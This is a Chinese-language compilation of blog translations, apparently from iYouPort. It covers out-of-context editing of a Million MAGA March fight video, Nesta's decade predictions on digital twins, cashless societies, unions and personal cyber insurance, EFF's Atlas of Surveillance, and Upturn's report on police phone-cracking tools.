特朗普在网上提出这一理由时，得到了一个拥有热门推特账户的极右翼煽动者网络的帮助。这些男人和女人发布了断章取义地经过编辑的视频片段，并配以挑衅性的描述，似乎有明确的目的，即：推销一种持续的、无端的所谓左翼暴力的叙事。

最近几个月，这已经成为一个熟悉的主题，一些在 **BLM** 抗议活动中发生的多起事件的视频被断章取义地编辑了，以夸大和歪曲它们被拍

摄的周围环境。

虽然存在一些以左翼为主角的暴力事件，包括在百万MAGA游行中，但是，右翼账号在这些事件后传播的视频往往并不能说明整个故事。当这些断章取义的内容引起企业媒体和特朗普等政客的推动时，它们就会传播得很远很广，造成严重的误导。

为了分析这个过程是如何发生的一个例子，本文将分析百万MAGA游行中的一段最热门的争执录像。虽然这段录像并没有为左翼抗议者开脱 —— 其中一些人明显参与了暴力事件，后来似乎也被逮捕了——但是，它确实显示了右翼宣传者如何设法操纵这类事件的周围背景，同时尽量减少右翼暴力事件，以进一步美化他们自己的议程。

“罗马人”

「图」

有关的具体事件发生在当地时间（美国东部时间）下午2点多，似乎是在一场混乱的街头混战后不久开始的（详见下面嵌入的视频，由 Daily Caller 拍摄并发布到 YouTube 上），当时两名特朗普的支持者走近并推搡一名手持扩音器的反抗议者。

画面显示，两人从对面走近拿着扩音器的男子，一个在前，一个在后。身穿亚利桑那连帽衫的男子看起来像是准备袭击他，在强行抓住他之前 …

拿着扩音器的男子转身面对着那个身穿亚利桑那连帽衫的人，然后被另一个身穿印有RO MA字母夹克的男子从后面推了一把（估计是代表罗马，或者可能是代表罗马体育俱乐部）。下文中将称他为 “罗马人”。

罗马人又继续推了拿扩音器的人两次。第一次推搡打掉了受害者的眼镜，当他弯腰去捡眼镜时，袭击者将他推倒在地。这一切发生的时候，附近有人喊 “杀了他们！”。

一旦受害者倒在地上，罗马人似乎试图站在他的头上，尽管（鉴于这段视频从不同的角度拍摄）他也可能是失去平衡了，试图绕过他刚刚被暴力推倒在地的人。

紧接着，”罗马人” 被一名旁观者推开。这似乎是周围的反示威者对这个人第一次使用武力。

随后，罗马人转身面对推他的人，并用拳头威胁对方。另一名反示威者从后面走过来推他。

这个人迅速后退，罗马人又转过身来，向两位年轻女子扑过去，其中一位女士当时正在用手机拍摄他，之前都没有打过他。他推了两个女人一把。

穿绿色外套的女人逃跑了，正在拍摄他的黑人女人被撞倒在地。

然后，罗马人主动接近拍摄他的第二个人时，从后面被踢了出去。

他似乎比受害人还愤怒，并向一位似乎渴望避免局势升级的反示威者大喊。

正在这时，一名身穿灰色连帽衫的女子走近罗马人，似乎要扇他耳光。然后，罗马男人冲过去推搡连帽衫女人以及穿绿色外套的女人。人群随之而来，他被其中一个人抓住了。

然后，他冲回了示威者的人群中，用力地推了另一名向他大喊但从来没有碰过他的女人。

接下来，他推了一个拿着牌子的人，顺便把那个标语牌也撕了。这个人也从来没有打过他。

一名反示威者此时向罗马人扑过去，至少打了他两拳。这名反示威者被推开，此后没有再动手。

另一名反示威者则试图缓和局势，向其他人群伸出双手，让他们给罗马人留出空间。但罗马人决定从背后强行推搡这个试图维和的人。

在这之后，罗马人开始从人群中走出来，可能是试图离开这里，也可能是走向另外两名反示威者。这时，另一个拿着牌子的人跑到罗马人身后，一拳打在他的头上，把他打倒在地。随后有人出现踢他的头部。这场持续了数分钟的争吵就这样残酷地结束了。

视频中发生的事似乎很清楚：

这个罗马人先推搡、殴打和威胁了多个人，然后他自己也遭到了残酷的攻击。两组示威者在录像中都没有表现得很好。显然，针对罗马人的耳光、脚踢和拳头，尤其是最后一拳和一脚，无论如何都不能宽恕。但是，似乎确实很清楚，事件最初是由罗马人以及另一个身穿亚利桑那帽衫的人挑起的。最后的一拳显然不是一次突如其来的自发攻

击。然而，正如我们将看到的那样，一些在社交媒体上拥有大量粉丝的有影响力的右翼人士并没有这样去描述这起事件。

断章取义地编辑视频

「图」

上述我们一直在分析的镜头是由右翼新闻网站 The Daily Caller 的现场记者 Jorge Ventura 拍摄的。然而，第一个将这场争执中的镜头发到网上的是右翼活动家 Andy Ngo。

必须指出的是，在 **Ventura** 拍摄的长达两分钟的视频中，事发前的画面提供了很好的背景，显示的似乎是一场流动的街头斗殴，从罗马人的情节开始。

在影片中，我们可以看到身穿绿色夹克的女子扇了一个举着旗子的男子一巴掌，以及一个戴着摩托车头盔的人和其他人之间发生了打斗。

人群中似乎包含了右翼和左翼两边的示威者。

尽管双方的抗议者都在那里，而且视频中似乎显示了特朗普支持者以及他们的对手的暴力行动，但**Ngo**在 **Twitter** 上将这段视频定性为 **“BLM- Antifa** 暴徒**”** 的帖子中声称：“他们在华盛顿的街道上四处奔走，殴打他人”。

虽然 Ngo 对这个视频的描述是错误的，但视频本身至少为观众提供了一个较为完整的事件交代。

然而，在这段视频首次发布约3小时后，极右翼评论员 Dinish D’Souza 就在推特上发布了一段选择性极强的18秒的视频 —— 显示的只是罗马人倒地时的被击中的最后一拳一脚。这似乎给人的印象是，罗马人被左翼抗议者突然袭击，而没有提及之前的事件。具有严重的误导性。

特朗普随后转发了这段18秒的视频，截至发稿时，这段视频已经获得了2.8万次转发和6.2万次点赞。虽然这种暴力行为不能被纵容，但也必须指出，这绝不是故事的全部。

另外，另一位右翼摄像师 Kalen D’Almeida 的视频片段，从与 Ventura 稍有不同的角度拍摄了同一事件。

D’Almeida 首先发布了整个事件的完整视频，然后才剪下了最后罗马

人被从背后击中的断章取义版本。这第二段视频提供了与 D’Souza 推特中18秒的视频类似的产品。同样，这第二个片段，在原始视频的**20**分钟后发布，没有显示任何背景—— 完全抹去了早期事件和罗马人的侵略性，在最后的拳头之前发生的事被取消了。

在撰写本文时，D’Almeida 发布的完全视频已经收到了400个转发，500个评论推文和900个点赞（尽管被Pin在他的时间线的顶部）—— 您可以和上述极右翼的歪曲帖子对比一下。

相比下 D’Almeida 发布的罗马人被击中的断章取义视频片段获得了7,000个点赞和类似数量的转推。此外，缩短后的片段被浏览了560多万次，大大超过了完整视频的22.5万次浏览量。这种差异很可能是由于拥有更多粉丝的Ngo在不久之后又在自己的另一条推文中嵌入了该片段。

Ngo 将这段视频描述为 “BLM暴徒” 打晕了一名 “正在离开#百万MAGA大游行” 的男子。他还指责他们在该男子倒地时偷走了他的手机。在 D’Almeida 的视频中，这一点并不清楚，但在 Ventura 早些时候的视频中，两名妇女确实拿起了一个手机然后跑开了。

当Ngo发布这条推文时，他一定知道他的总结和视频本身并没有提供事件的完整背景。因为他在几个小时前才刚发布了一段更详细的争执片段。事实上，**Ngo** 的推文和 **D’Almeida** 摘录的视频都没有提供完整的事件版本，但这并没有阻止这一歪曲大范围地传播。

不到半小时后，特朗普就转发了 Andy Ngo 的推文，导致 “左翼暴徒袭击和平的MAGA抗议者” 的错误说法在社交媒体上进一步传播。然而，从这一分析中可以看出，这远不是这些事件的全部真相和背景，在这些事件中，左翼和右翼抗议者都在相互对抗，并采取了暴力行为。

考虑到被断章取义的视频的浏览量和转发量如此之大，所谓的左翼暴徒的说法似乎也获得了更大的吸引力，这在很大程度上要归功于特朗普、D’Souza 和 Ngo。

在华盛顿特区发生的事，或者后来网上对该事件的错误描述，都不是什么新鲜事。右翼社交媒体人物分享去语境化的视频以引发对左翼的愤怒，这种循环已经持续了很多年。2019年，Ngo亲自报道了波特兰地区一家名为 Cider Riot 的酒吧发生的大规模斗殴事件，他的推文将其定格为 “Antifa 分子的无端攻击”。

然而几周后，在右翼组织“爱国者祈祷”内部卧底的人公布了数小时在集会上拍摄到的视频。这段在 **Cider Riot** 战斗前录制的视频清楚地显示，爱国者祈祷组织的成员正在检查他们的武器，并讨论他们袭击酒吧的计划。一个站在 **Ngo** 附近的人清楚的说：“将会有一场大的战斗”。在这一切的过程中，**Ngo** 唯一的反应就是笑了几次。他并没有报告他在行进到 **Cider Riot** 时听到的情况。

根据那些泄露的视频的证据，爱国者祈祷组织的6名成员被指控为煽动暴动的重罪。然而，Ngo 在极右翼媒体生态系统中的地位丝毫没有因此受到伤害，也没有因为分享在华盛顿特区举行的百万MAGA游行中经过欺骗性编辑的视频而受到伤害，事实上，11月16日，小唐纳德-特朗普还向他的630万粉丝分享了Ngo的 Patreon 和 Paypal 链接。

📌 总之，不得不重复那句早已说烂了的话 —— 当您看到一个视频、照片、故事时，请问问自己：这可能是怎么回事？背景是什么？它完整吗？来源是什么？谁第一个发布的？这些内容想让你相信什么？这些内容在传播过程中被描述的东西是否是事实？…… 这是开源情报唯一有利于公民大众的价值。

关于对 Antifa 误解的解释《什么是 antifa，或者说谁是 antifa？》。

Million MAGA March: Unravelling a Violent Viral Video

原文

新10年最有可能发生什么？- 焦虑与期待 - iyouport

你应该了解的现实你我的灾难现实技术暴政

【2020年7月16日存档】这些预测也许是最有可能发生的事。它们各有利弊。以预测作为提醒大众警惕要点和注意力方向的一种方式，也许我们可以改变未来。

地球人已经进入了新的10年。这10年中最有可能会发生什么？社会运动和技术突破将出现哪些变化？

这里是 nesta 的预测，有令人焦虑的地方，但也有值得期待的东西。正如 Nesta 负责人 Geoff Mulgan 所解释的那样，当许多人将未来视为威胁而不是承诺时，今年的预测表明，我们可以如何朝着充满希望的新方向改变未来。

1、不再需要“假设”：来认识一下您的数字孪生兄弟

「图」

还记得《黑镜》“Be Right Back” 那集吗？女主人车祸去世的丈夫的数字副本制作了一个高仿真的机器人。

现实中可能没有机器人那么夸张，但是，在这个10年中，您自己的数字副本将为您在现实世界中的决策提供依据。

现实中的抉择经常会令很多人感觉头大，一些人列出清单或干脆采取抛硬币的方法，其他人则寻求经验丰富的导师、精神领袖、甚至明星的指导意见。

但是，那些人都不会真的懂你，如果他们错了 …… 该怎么办？

现在您已经不再需要问 “如果……怎么办？” 了。

和您的数字双胞胎打个招呼吧 —— 用您的数字足迹构建的虚拟版

本。这个虚拟的“您”可以为您活出可能的未来，因此在您确定走哪条路之前无需在现实生活中进行任何更改。

您的数字副本将有机会替代您测试主要或次要生活决定有可能产生的影响 —— 无论是关于您的下一个职业发展步伐，还是六个月后饮食计划对健康的影响等等 —— 并在对实际生活进行任何更改之前预测到问题。

在这个10年内，个人的数字双胞胎将进入消费市场。很快，您就能够使用自己的数字副本来为自己在现实世界中做出的决策提供信息，以测试、建模和预测各种选择对个人未来的影响。

类似于 FaceApp，但面向你的整个人生

「图」

您是使用 FaceApp 查找自己变老后什么样的数百万用户之一吗？还是您尝试过其中任何一种类似的应用程序可以向您展示了阳光可能对您的脸造成伤害、或您未来的孩子看起来什么样？

人们开始在很大程度上接受关于自己的预测 —— 而不再满足于按部就班的生活和学习，人们希望基于越来越准确的信息以了解决策将对自己有什么帮助。

该技术已经存在于工业系统中，对系统进行实时监视以便在发生故障之前对其进行预测。

在其他地方，“数字双胞胎”正在帮助城市规划人员对从新加坡到埃克塞特等城市的运输网络和能源管理做出更明智的决策。

在医疗保健领域，精确建模的人体器官数字化复制品可帮助外科医生探索干预措施。人们已经在使用可通过实时监测心跳和血压信息来发出警告的应用程序，以预见重大健康并发症。

您的数字足迹如何用来制作一个数字化的你

「图」

数字双胞胎将带您进入 *预测* 的下一个前沿，使您能够在未来发生之前就知道未来是什么样。但是它们是如何工作的？

您可能只是在想象一个超现实的化身，长得就像您一样、和您说一样的话，就像那些已经在游戏、社交媒体和色情行业中投入试用的东西那样。但是，这里说的数字双胞胎模型不仅是模仿外观 —— 它们是代表真实对象、过程和系统的详细数据。

您的个人数字双胞胎将成为您的精确虚拟模型，并与您手机上的通知集成，通过 Alexa 或甚至更身临其境的技术激活。

每个人都在现实生活中不断产生大量的数据，于是这种数字副本将成为可能。

从跟踪你的睡眠方式和饮食习惯、到你与谁在一起以及你如何花钱，您的一切在线生活正在各个领域中积累越来越详细的数字足迹。

结合越来越准确的预测算法（该算法可以识别这些数据的模式和趋势以准确地模拟未来结果），这个数字双胞胎将成为探索未来的强大工具。

这将如何影响人们的生活？

「图」

您的数字双胞胎将充当您的预警系统，在您仍有机会进行更改时发出潜在漏洞的信号，并根据您当前面临的选择向您展示最佳状态。

早期采用者将使用他们的数字双胞胎来可视化每一个决定可能导致的结果：“如果我学会编码会是什么样？”、或 “如果采用纯素饮食，我会更健康吗？”、”如果我每周开始步行去上班，会有所改善吗？”、或者，也许是一个更具说服力的问题：“如果我什么都没改变，会发生什么？”

根据从您的个人数据中了解到的关于您的信息，该系统将生成有关每种情况的估计值。随着时间的推移，输入到系统中的个人数据越多，模拟的数字自我就会变得越准确。

个人甚至可能开始将自己的数字双胞胎与其他人合并，以创建数字家庭和集体，从而模拟决策对较大人群的影响。以制定更明智的决策。

一切都会变得更积极吗？不！

⚠ 隐私权倡导者会警告寡头公司或流氓政府使用公民的数字双胞胎对人权构成威胁。而且，随着数字双胞胎进入主流，人们将需要提出关

于自由意志和代理的更深层次的技术哲学问题。

依赖这种东西是错误的。如果它出错了，所有糟糕的结果将由你来承受。就算它完全正确，对它的依赖也极有可能导致你本人成为废物。而一旦您不再明智，您的个人数据将出现更多错误，从而影响数字双胞胎的预测准确度。

但是，⚠数字双胞胎的可能性必须提出，因为全世界每个人每时每刻都在向监视资本家供应大量数据，这个虚拟人很有可能是监视资本主义发展的下一个阶段。现在提出警告还不晚。

2、现金的崩溃达到临界点

「图」

无现金的灾难可能已经无法抵挡了。

- 对这场灾难的解释详见 列表-2 “监视区块链和反现金之战”

在全世界范围内，现金的使用已经呈现自由落体状态；现在，电子支付才是主导地位。

英国是无现金实践的全球领导者之一。现在英国大约有四分之三的零售交易都是通过刷卡支付的。

但是，这将带来严重后果。钱包小了，付款卡的使用不断增加，而现金的使用却严重下降。无现金已经到了一个转折点，这将很快给所有人的生活带来根本性改变，远远超出了任何表面现象。

在这个新10年，人们将开始看到无现金带来的后果：ATM沙漠化不断扩大。使人们难以掌握现金，你的一举一动都被追踪。

也许还有一个新的现金用途：一种储蓄方式，而不是一种支出方式。

告别现金

「图」

电子支付已不是什么新鲜事：自动柜员机自上世纪60年代就出现了，自90年代起用于信用卡和借记卡的销售点设备就出现了。

因此，芯片和密码、非接触式支付、以及现在的移动支付的出现，还

算不上彻底的革命。但是，它们从根本上加快了现金消失的步伐。

我们现在正处于转折点。卡支付率从5%上升到25%，导致刷卡机和现金一样普及。但是，如果支付卡使用的比例达到95%，这个世界几乎可以全部消灭现金。

- 现金为什么是敌人？因为隐私是敌人，隐私是敌人是因为它使政府控制变得更加困难《恐怖的反现金之战》

深刻的全球转变

「图」

目前在某些国家，现金仍然占主导地位：比如在意大利，仍有80%以上的付款以现金交易，而在德国，只有四分之一的零售交易是通过卡支付的。但是在英国，目前只有十分之三的交易是使用现金进行的，而十年前有十分之六。

无现金经济的全球先驱是瑞典，该国许多银行现在已经不再处理纸币和硬币。零售支付主要通过借记卡和信用卡进行，就像在英国一样。甚至是个人之间或与小型交易者之间的支付，基本上也已经被瑞典银行联合运营的一款移动支付应用程序 Swish 所覆盖。

这种现象不仅限于西方；在东方的印度，国家政府积极促进无现金交易，并已经取得了部分成功，而在非洲部分地区，通过 M-Pesa 进行的移动交易已成为日常生活的一部分 ……

这个转折点很快就会到来。在英国，卡交易额超过现金的第一年是2017年。而到2019年，卡支付次数已经翻了一番。 UK Finance 的预测显示，到2023年，信用卡交易将与现金交易的比例为大约四比一，这意味着2020年正是这一突然而深刻的转变的半程。

这将如何影响人们的生活？

「图」

现金流失的巨大后果不仅在于从根本上改变了我们的支出方式。

⚠希望保护私人行为隐私的人会发现自己被严重边缘化、举步维艰。您将被剥夺很多选择。（目前英国有超过一百万的成年人没有银行帐户）

澳大利亚已经开始尝试通过电子支付卡支付一些福利，这严重限制了社会上一些最贫困的人获得现金的机会。这些功能类似于标准的 Visa 或 MasterCard，并通过相同的网络进行处理，但它们阻止用户将钱花在酗酒或赌博上。

⚠简单说，政府不想让你把钱花在哪，他们就可以直接轻松地做到。

即：政府、雇主或房东都可以使用电子支付系统及其收集的数据作为控制、研究、和操纵人们行为的工具。

长期无现金状态将如何发展？要知道这并不是新的付款方式第一次取代旧的付款方式：很久以前法定货币就取代了贵金属，但是，黄金从未消失过，它不再是主要的价值交换方法，而是一种存储资金的方法。现金的未来也会是这样吗？

3、21世纪工会的兴起

「图」

先关联一篇4月发布的分析，如果您错过了的话：

- 《技术如何塑造21世纪的创造性抗议？》

已经有迹象表明，新的集体行动在数字工具的支持下，白领和蓝领工人再次积极地加入了激进主义团体和组织。2018年，世界各地的Google员工联合抗议该公司对女性员工的骚扰；优步司机一直在努力抗议以增加工资。

在越来越不确定的劳动力市场中，激进主义的抗议活动正在增加。技术变革一直影响着劳动世界，人们的工作被重塑以使雇主能够充分利用新的创新。

但是这种变化现在正以前所未有的高速度发生。在2012年至2017年之间，已经有近一半的工人由于技术的改变而经历了工作方式的变化。在经历了一个世纪的低会员人数之后，工会大会（TUC）2019年报告称，2017年至2018年期间，英国的工会会员人数增加了100000。

技术的善与恶

「图」

当然，变化既可以是积极的，也可以是消极的。在某些地方，已经开发出新技术以减轻工作生活的压力，并赋予人们以适合自己的方式工作的灵活性。

在瑞典，机器人被用于执行危险和肮脏的工作，例如采矿。在英国，在一个配送中心中，已使用小型自动驾驶汽车来缩短工人每天必须步行的距离。在全球范围内，在线平台可以为人们提供机会，使他们可以找到遥远异地的有偿工作。

但在其他工作场所中，技术被用来通过跟踪监视工人和设定难以实现的目标来提高效率。这给工人带来了严重的压力，结果是，许多部门的工人都开始寻求工会可以提供的保护和支持。

- 《你的老板可能是比 Facebook、谷歌更大的老大哥》

工会在此方面至关重要。迫切需要有效的工会，可以放大工人的声音来影响雇主的决定。

转机潮

「图」

为21世纪做好准备的工会已经出现。

欧洲许多人正在接受可以为工人谋福利的技术。在斯堪的纳维亚半岛，工会一直是在雇主、工人和技术之间建立相互支持关系的驱动力。

瑞典的 TCO 工会预计数字化将导致劳动力市场的变化、丹麦的3F工会与 Hilfr（家庭清洁员的数字平台）达成协议，以便使用该站点的工人可以获得假期和病假等福利。

在英国，工人一直在使用技术来重塑影响工作未来的力量。近年来，Organise、Earwig 和 Workerbird 等新的 “WorkerTech” 公司一直在使用在线工具来共享有关工作场所的信息，建立员工的声音并开展运动以改善条件。

英国已建立的工会现在正在发挥领导作用，工会大会（TUC）发起了一项雄心勃勃的运动，利用自动化的生产力来推动每周四天的工作日。

其他新兴的21世纪工会还包括社区工会，这是一个较小的工会联盟，

专门为解决英国自雇工人的需求而成立的。英国独立工人联盟（IWGB）是另一个相对较新的工会，代表低薪移民工人，例如清洁工和保安人员。

2020年，随着自动化和不断变化的工作世界成为全球议事日程，工会的发展将变得更加快速。

这将如何影响人们的生活？

「图」

技术和自动化、结合服务类经济的增长和不稳定的工作，正在改变社会当前围绕工作而构建的方式。从事传统白领工作（例如会计工作）的人们也将很快开始看到其工作生活的巨大变化。

这些变化将不可避免地导致混乱和失业，这意味着工会在确定可能失业的工人得到多大的技能再培训方面起着重要作用。

此外，新的21世纪工会可以帮助塑造技术和自动化在工作场所中的应用方式，倡导赋予工人权力的选择，增加对人工能力的需求并提高生产力。

4、如何保护自己免受数字暗杀

「图」

如今人们的一生都存储在互联网上。

通过我们的 “开源情报” 演示您足够可以发现，找到有关某人的最私密的个人信息可以非常容易 —— 尤其是如果他们没有采取积极措施来保护其数据时。

依旧有大多数人人习惯性泄露自己已经用于安全保护的信息：例如 电话号码、宠物的名字、自己的生日、曾经居住过的街道等等。

- 《你不应该在社交媒体上说的话》

不仅自满，而且许多人还没有采取任何行动来保护自己。几乎一半的英国人从未更改过他们的电子邮件密码。

这种自满会给你带来很大的危机。犯罪分子可以利用您的个人信息偷

走你的钱；他们还可以做一些可能更糟的事：数字化暗杀。

他们可以接管你的全套身份，将真实的您本人从电子邮件、社交媒体、甚至财务帐户中踢出去，从而完全劫持并杀死您的数字生活。

2020年，随着越来越多的人通过高调的泄漏丑闻和亲身经历攻击事件中意识到数字暗杀有多可怕，个人网络安全保险市场将开始迅速增长 —— 它将从少数知名人士和富人购买的产品发展到对普通人来说越来越负担得起的产品。

数字刺客的崛起

「图」

网络犯罪影响着每个人。从国家政府到企业，再到个人，没有例外。骇客、trolls、和网军使用的工具越来越复杂、广泛可用、并且相对易于使用。

结果就是，我们看到了越来越多的数字暗杀事件的发生，形式越来越多样化。

数字刺客的动机也多种多样。对于某些人来说，他们只是想要钱；入侵受害者可以使他们有能力索取现金、或获得有价值的社交媒体资源。

⚠ 而一些数字刺客是受薪专业人士，由政府间谍机构雇用来侵入人权组织和活动家，并公开其高度敏感的私人数据。

- 更多详见 列表 -5 “维稳面面观”

尽管规模可能会有所不同，但是方法仍然很相似：即 发现并利用安全漏洞来侵入个人帐户、窃取其数据并劫持其身份，以试图在网上销毁这些致命数据。

在2019年5月，《卫报》报道了一个特别残酷的数字暗杀案，一名年轻女子的社交媒体帐户被黑。她的裸照自拍被发送给了她的所有联系人，并且她自己被永久锁定在帐户之外，包括电子邮件。

这次暗杀事件是完全彻底的 —— 受害人无法恢复任何帐户。

在繁荣的风口浪尖上

「图」

随着越来越多的人感受到数字暗杀的影响，他们将开始寻求保护。

2019年1月，Swiss Re 保险公司发布了一项研究，显示一半的受访者会考虑购买个人网络保险。他们估计，到2025年，该产品的全球市场可能达到31亿美元。

这些预测在过去曾经是错误的。 2000年，保守的预测是，2005年全球网络保险市场价值25亿美元，但是到了2008年，该市场的价值仅为5亿美元。

但是，十年过去了，在线世界已经是一个截然不同的地方。人们对网络犯罪构成的威胁的性质和规模有了更好的了解。

保险公司正在慢慢开始推出相应的产品。 2015年，一家为高净值个人和家庭服务的保险公司宣布了类似产品。2019年，国营农场保险服务推出了身份盗用保险，6月，哈特福德蒸汽锅炉监测和保险公司也推出了HSB 家庭网络保险，该产品以前仅适用于企业。

这将如何影响人们的生活？

「图」

尽管网络保险市场目前仅是少数偏执的百万富翁光顾的边缘行业，但是在新10年里，它将增长成为任何家庭保险计划的标准组成部分。

但是，这种保险将保护您免受什么伤害，如果您面临数字攻击，它将为您做什么？

从规模上看，如果您的个人笔记本电脑感染了恶意软件、并且您需要向公司付款以删除病毒，那么它保护您的费用每年可能为25英镑。

在规模的另一端，对于那些知名度很高的人，其中可能包括资格标准和对消费者的背景调查。调查后保险公司的隐私权专家可能会发送一份您必须对自己的生活方式进行调整的列表，例如 经常更改您的电话号码和密码。

为了获得更高的安全性，预计客户会牺牲一定程度的便利性来换取保护。

您可能必须使用物理身份验证USB密钥登录帐户，或者被要求加密整

个硬盘驱动器，甚至可能必须使用法拉第笼来防止移动设备受到无线黑客攻击。

- 在我们的 列表-1 中看到自我保护的技巧汇总（不断更新中）

⚠但是，保险产品可能产生相反的效果，反而导致人们在网上更加不小心。人们可能过度依赖网络保险套餐，而网络保险本身反过来可能会变得越来越具有侵入性。

最终，我们可能将越来越多的私人数据和控制权移交给一家私人保险公司，虽然不是现在的政府和寡头了。却又有什么不同吗？《把你的隐私控制权交给任何人都等于剥夺隐私》。

最后

「图」

这些预测也许是最有可能发生的事。它们各有利弊。以预测作为提醒大众警惕的一种方式，也许我们可以改变未来。〇

原文

新地图显示了不可避免的监视蠕变 - iYouPort

你应该了解的现实技术暴政

【按】这是一个很有难度的项目。尤其是在政府信息不透明的国家。

监视设备不只有您可以看见的摄像头和车牌阅读器，它们还包括私人安装的小型监视器、所谓的智能门铃、车载摄像头，以及看不见的黄貂鱼、和不容易看到的身体相机、还有无人机和监视气球，甚至人力“监视器” 如查手机和群众斗群众。

尤其是今年以来，以冠状病毒防疫为借口，全球都在大规模公然扩张监视技术的铺展，在这里看到报告《#COVID-19(84)》；很多新型的监视技术正在诞生。

但这无疑是一项很重要的项目，不仅仅是对于随时可以出现的反抗运动来说是最有价值的策划参考。每个人都应该知道自己身边存在哪些威胁。

如上所述，这一项目是有难度的。我们曾经听闻中国的异议人士希望构建类似的项目以帮助行动者规划路线，希望这篇文章的介绍能给您一些启示。

- 《浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》

「图」

「图」

与 Ring 合作的有1300多家合作伙伴。上百个面部识别系统。数十种黄貂鱼 …… 监控设备以各种形式出现在各种地方 —— 现在，大量的监控设备出现在一张名为 “监控地图集” 的新地图上。

监视地图集是电子前沿基金会和内华达大学里诺分校的合作项目，它不仅提供了执法机构部署的技术，而且还提供了这些监视技术的具体位置。

从自动车牌读取器到车身摄影机，再到集中处理大量监视资料的所谓融合中心，该计划让人们了解到这些精密的监视工具如今已经变得多么的普遍。

事实上，尽管提供了来自3000个警察局的5300个数据点，但这仍然只是监控工程的一个小样本。

- 关于“融合中心” 见 《警察情报中心如何跟踪抗议活动：通过BLM（1）》

“我们永远不会全面收集到所有监视技术”，EFF的高级调查研究员 Dave Maass 说，他作为客座教授帮助领导这个项目，“如果我们的目标是与监控国家的发展保持并驾齐驱，那就肯定会输。”

这就更坚定了我的观点。这张地图目前所显示的一切已经足够令人不安了。几乎无法想象，如果根据司法统计局的统计，它会包括构成美国执法部门的18000个联邦、州、县和地方机构 …… 那会有多拥挤。

「图」

「图」

即使是走到这一步，绘制该地图也是一项艰巨的任务，这项任务大约始于18个月前。Maass 说，EFF从媒体那里得到的一些最常见的问题，关于美国监控技术的分布。

EFF此前曾围绕自动车牌读取器进行过调查工作，其他组织如巴德学院的无人机研究中心也维护着自己的特定数据库。但一个中央资料库呢？一个可以通过点击一两次就能回答许多问题的数据库呢？为此，你需要一小队研究人员 —— 或者几百名新闻专业的学生。进入里诺分校。

Maass 和里诺分校高级媒体研究中心主任 Gi Yun 首先使用 Google Drive 和 Google Survey 布置数据收集任务，然后再迁移到EFF的 Report Back 工具，这是一个在线门户，可以自动将小任务分发给志愿者。

为了证明这个概念，他们首先将重点放在美墨边境的23个县，将一个城市或县分配给一个学生团队，并责成他们找出那里使用的监控工具。

去年9月，EFF公布了结果。“这最终让学生们非常沮丧，因为他们要在德克萨斯州的小镇上寻找黄貂鱼，而他们根本就找不到”，Maass说。

- 如何找到黄貂鱼 见这里

Maass 说，当他们在全国范围内扩大项目范围时，他们试图为研究团队设置更轻松的狩猎工作。

通过浏览 GovSpend —— 一个第三方的政府合同在线资料库，他们可以大致确定全国哪些地方购买了某些类型的设备。然后，学生们会通过新闻报道和公共记录查询来确认具体的拨款情况。

地图追踪的其他监视类别包括枪击检测和所谓的预测性警务系统（就是少数派报告式监视），以及“视频分析”。“视频分析“是一个统称，指的不是识别和追踪人脸而是物体和行为的技术。

该地图还包括59个“实时犯罪中心” RTCC，它们集中并综合了各种监视技术收集的数据。

「图」

「图」

该监视地图集有一定的局限性，其中最主要的是它的范围。一个普通的访问者可能会输入他们自己所在的县，看到没有黄貂鱼设备或身体相机的列表，并由此判断这是否意味着自己处于圆形监狱中，但事实上，该项目可能还没有达到这个目的。

例如，地图上显示了阿拉巴马州伯明翰市的实时犯罪中心，但没有显示枪击探测器或车牌读取器的信息。然而，当你点击获取更多关于RTCC的信息时（它确实提到了这些）该项目的来源也严重依赖于当地新闻，这是一种越来越稀缺的商品。

这与其说是地图集的失败，不如说是政府本身的失败，因为没有允许遭受直接监视影响的公民更容易获得这类信息。

有些地区比其他地区要好，比如马里兰州的一项法律要求各机构报告其拥有的任何自动车牌阅读器，这又给该地图提供了坚实的数据基础。其他州和县则是相对的黑洞。

平心而论，该地图集确实承认了其不完整性，并提供了一个链接，解

释了访问者可以如何合作以帮助填补其空白。

Maass 指出信息自由社区的发展，特别是像 MuckRock 这样的服务，它让提交信息自由法案请求变得更容易，还有在线政府门户网站，这些都是当地报道减少时代的宝贵资源。“外面的很多监控技术并不是秘密，只是还没有被汇总起来”，他说。

数百名学生在绘制地图，现在他们已经知道如何挖掘这类信息。“他们经历了这个过程，看到了结果”，Yun 说，“这是我们统计出来的海量数据，公众可以用一种非常有效的、有视觉吸引力的方式来欣赏和查看。他们可以看到自己的工作变成现实。”

该校将继续做维护和改进地图的工作；Yun 说，他特别注重让输入数据的过程更加流畅，尤其是现在该项目欢迎来自公众的志愿者。(“早些时候它有点笨拙，”他说) 而且 Maass 正在研究不同的定制选项，这将使解析地图更容易管理，特别是随着其数据集的不断增长。

目前，尽管依旧有改进的空间，但该监控地图还是有力地提醒了人们，间谍技术已经在美国各地变得多么地不可忽视，而不仅仅是在大城市。

“不能忽视监视技术在小城镇和农村地区的普遍性”，Maass说，“你会看到，美国农村地区有很多无人机。你会发现，车牌阅读器在佐治亚州和其他农村地区都很常见。我不一定会说这很奇怪，但这是我从中得到的比较有价值的东西之一。”○

A New Map Shows the Inescapable Creep of Surveillance

原文

新报告揭露警方大量破解锁定的手机以提取其中一切信息 - iyouport

你应该了解的现实

【2021年5月13日存档】这份报告发现了 50,000 起警察机构转向求助于第三方取证公司以绕过移动设备上的加密的案例。

近年来，智能手机的安全措施越来越复杂，从密码到指纹、再到人脸识别和先进的加密技术。总部位于华盛顿特区的非营利性研究机构 Upturn 的一份新报告揭示了警方如何在这些防御措施日益复杂的情况下仍能够保持对目标人手机的访问权限：通过与数字取证公司签订合同，这些公司很擅长绕过锁定，以访问和复制加密数据。

- 不要错过《如何保持 Android 设备免受警察的侵害》
- 《如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？》

报告称，所有50个州的执法部门都与 Cellebrite 和 AccessData 等供应商签订了合同，以访问和复制锁定的手机中的数据。Upturn 报告的作者指出，这种做法在很大程度上是秘密的，并且有可能对第四修正案的保护造成“不可接受的威胁”，第四修正案理应保护公民免于遭受过度搜查。

在2015年至2019年期间，Upturn 发现了近5万例警方使用移动设备取证工具（MDFTs）的情况。报告作者认为，这些工具提供的有关人们私密生活的信息远远超出了任何调查的范围，而且很少有警察部门限制如何或何时使用这些取证工具。该团队向全国各地的州和地方执法机构发出了公开记录请求，发现有超过2000个机构都在不同时候使用过移动设备取证工具。

- 不要错过《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
